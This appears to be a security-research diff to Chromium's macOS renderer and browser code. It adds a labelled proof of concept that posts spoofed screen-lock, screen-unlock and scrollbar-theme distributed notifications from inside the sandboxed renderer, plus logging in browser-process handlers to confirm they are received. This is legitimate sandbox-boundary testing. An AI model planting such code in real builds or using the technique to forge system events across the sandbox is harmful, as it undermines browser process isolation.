diff --git a/content/renderer/renderer_main_platform_delegate_mac.mm b/content/renderer/renderer_main_platform_delegate_mac.mm
index 0000000..0000001 100644
--- a/content/renderer/renderer_main_platform_delegate_mac.mm
+++ b/content/renderer/renderer_main_platform_delegate_mac.mm
@@ -5,8 +5,11 @@
 #include "content/renderer/renderer_main_platform_delegate.h"

 #import <Cocoa/Cocoa.h>
+#include <CoreFoundation/CoreFoundation.h>
+#include <dispatch/dispatch.h>

 #include "base/check_op.h"
+#include "base/logging.h"
 #include "sandbox/mac/seatbelt.h"
 #include "sandbox/mac/system_services.h"

@@ -59,6 +62,47 @@ bool RendererMainPlatformDelegate::EnableSandbox() {
   // been initialized.
   CHECK(sandbox::Seatbelt::IsSandboxed());

+  // ---------------------------------------------------------------------------
+  // POC: Attempt to post distributed notifications from inside the renderer
+  // seatbelt sandbox. renderer.sb grants:
+  //   (allow mach-lookup (global-name "com.apple.distributed_notifications@Uv3"))
+  // but does NOT explicitly (deny distributed-notification-post). This test
+  // determines whether (deny default) covers that operation on this OS version.
+  //
+  // We post on a short delay so the browser process has finished registering
+  // its CFNotificationCenterGetDistributedCenter() observers
+  // (ScreenlockMonitorDeviceSource, SystemThemeObserver, idle_mac.mm).
+  // ---------------------------------------------------------------------------
+  LOG(ERROR) << "[POC] renderer pid=" << getpid()
+             << " sandboxed=" << sandbox::Seatbelt::IsSandboxed()
+             << " — scheduling distributed-notification posts";
+  dispatch_after(
+      dispatch_time(DISPATCH_TIME_NOW, (int64_t)(2 * NSEC_PER_SEC)),
+      dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
+        CFNotificationCenterRef dc =
+            CFNotificationCenterGetDistributedCenter();
+        LOG(ERROR) << "[POC] posting com.apple.screenIsLocked from "
+                      "sandboxed renderer";
+        CFNotificationCenterPostNotification(
+            dc, CFSTR("com.apple.screenIsLocked"), /*object=*/nullptr,
+            /*userInfo=*/nullptr, /*deliverImmediately=*/true);
+
+        LOG(ERROR) << "[POC] posting com.apple.screenIsUnlocked from "
+                      "sandboxed renderer";
+        CFNotificationCenterPostNotification(
+            dc, CFSTR("com.apple.screenIsUnlocked"), /*object=*/nullptr,
+            /*userInfo=*/nullptr, /*deliverImmediately=*/true);
+
+        LOG(ERROR) << "[POC] posting AppleAquaScrollBarVariantChanged from "
+                      "sandboxed renderer";
+        CFNotificationCenterPostNotificationWithOptions(
+            dc, CFSTR("AppleAquaScrollBarVariantChanged"), /*object=*/nullptr,
+            /*userInfo=*/nullptr,
+            kCFNotificationDeliverImmediately |
+                kCFNotificationPostToAllSessions);
+        LOG(ERROR) << "[POC] posts dispatched (check Console.app for any "
+                      "Sandbox 'deny distributed-notification-post' entries)";
+      });
+
   // Inform various system services that they should not attempt to acquire
   // resources that will be blocked by the sandbox.
   DisableSystemServices();
diff --git a/content/browser/screenlock_monitor/screenlock_monitor_device_source_mac.mm b/content/browser/screenlock_monitor/screenlock_monitor_device_source_mac.mm
index 0000000..0000001 100644
--- a/content/browser/screenlock_monitor/screenlock_monitor_device_source_mac.mm
+++ b/content/browser/screenlock_monitor/screenlock_monitor_device_source_mac.mm
@@ -6,6 +6,8 @@

 #include <CoreFoundation/CoreFoundation.h>

+#include "base/logging.h"
+
 namespace content {

 namespace {
@@ -18,6 +20,8 @@ void OnScreenlockNotificationReceived(CFNotificationCenterRef center,
                                       CFStringRef name,
                                       const void* object,
                                       CFDictionaryRef userInfo) {
+  LOG(ERROR) << "[POC][BROWSER] OnScreenlockNotificationReceived fired in "
+                "browser process pid=" << getpid();
   ScreenlockMonitorSource::ScreenlockEvent screenlock_event;
   if (CFEqual(name, kScreenLockedEvent)) {
     screenlock_event = ScreenlockMonitorSource::SCREEN_LOCK_EVENT;
diff --git a/content/browser/theme_helper_mac.mm b/content/browser/theme_helper_mac.mm
index 0000000..0000001 100644
--- a/content/browser/theme_helper_mac.mm
+++ b/content/browser/theme_helper_mac.mm
@@ -219,6 +219,8 @@
 }

 - (void)notifyPrefsChangedWithRedraw:(BOOL)redraw {
+  LOG(ERROR) << "[POC][BROWSER] notifyPrefsChangedWithRedraw fired in browser "
+                "process pid=" << getpid() << " redraw=" << (bool)redraw;
   for (RenderProcessHost::iterator it(RenderProcessHost::AllHostsIterator());
        !it.IsAtEnd();
        it.Advance()) {